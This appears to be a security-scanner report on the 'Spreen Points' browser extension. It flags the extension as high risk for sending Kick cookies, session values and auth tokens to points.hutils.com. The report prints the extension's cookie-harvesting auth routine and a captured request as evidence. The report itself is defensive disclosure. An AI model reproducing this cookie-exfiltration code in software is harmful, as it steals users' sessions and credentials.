Is Spreen Points safe?

High risk

Spreen Points is high risk. When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com. Cookies go even with a Kick auth token present; testing confirmed this.

75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassMALICIOUS
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

Kick cookies are sent in the Points WebSocket auth

When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com.

Cookies go even with a Kick auth token present; testing confirmed this.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to a Kick page while Spreen Points is installed.

The extension's content script injects its page script on Kick pages.

The extension did this

The page script sends your cookie string and kick_session value in its WebSocket auth message.

If a Kick auth token exists, the same auth message includes both the token and cookies.

02EvidenceNETWORK CAPTURE
Captured request
GETwss://points.hutils.com/019201ab-e680-7898-b9eb-31c27e94455c
WebSocket upgrade observed; the auth data is sent as a WebSocket message after the connection opens.
03EvidenceFIELD TABLE
Fields sent in the auth message
FieldValueWhy it matters
Browser cookie string
nonce_crf=eyJhbGciOiJIUzI1NiJ9; theme=darkThis can include cookies available to the Kick page, tying the auth message to your browser session on that site.
Kick session value
kick_session=zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLuThis adds a Kick session identifier to the same outbound auth message.
Kick auth token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYifQ.signatureWhen the token is present, the message can be linked to an authenticated Kick context instead of only a page visit.
04EvidenceCODE COMPARE
The code that does this

Auth routine includes cookies on both token and no-token paths

What it actually does
function T() {
  L = !1, ie();
  const y = localStorage.getItem("t_oken"),
    E = `${document.cookie}; kick_session=${v.value||"zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu"}`;
  O.send("auth", y ? {
    token: y,
    cookies: E
  } : {
    cookies: E
  })
}
05EvidenceCODE COMPARE
The code that does this

The page script requests metadata before connecting when no token exists

What it actually does
if (localStorage.getItem("t_oken")) return O.connect();
n = setTimeout(() => {
  console.log("[ERROR] Timeout getting backend message"), Z.error("Error de cliente obteniendo credenciales, aguarde..."), O.connect()
}, 5e3), window.postMessage({
  from: "w",
  tracer: "getKickMetadata"
});
const V = await Hu();
06EvidenceTHIRD PARTY LIST
Remote host receiving the auth message
  • points.hutils.com

    Receives the Spreen Points WebSocket auth message containing cookies and, when present, the Kick auth token.

Updated 10 September 2026daahmonifbmmkhdfmkkpmgfkaniakmnf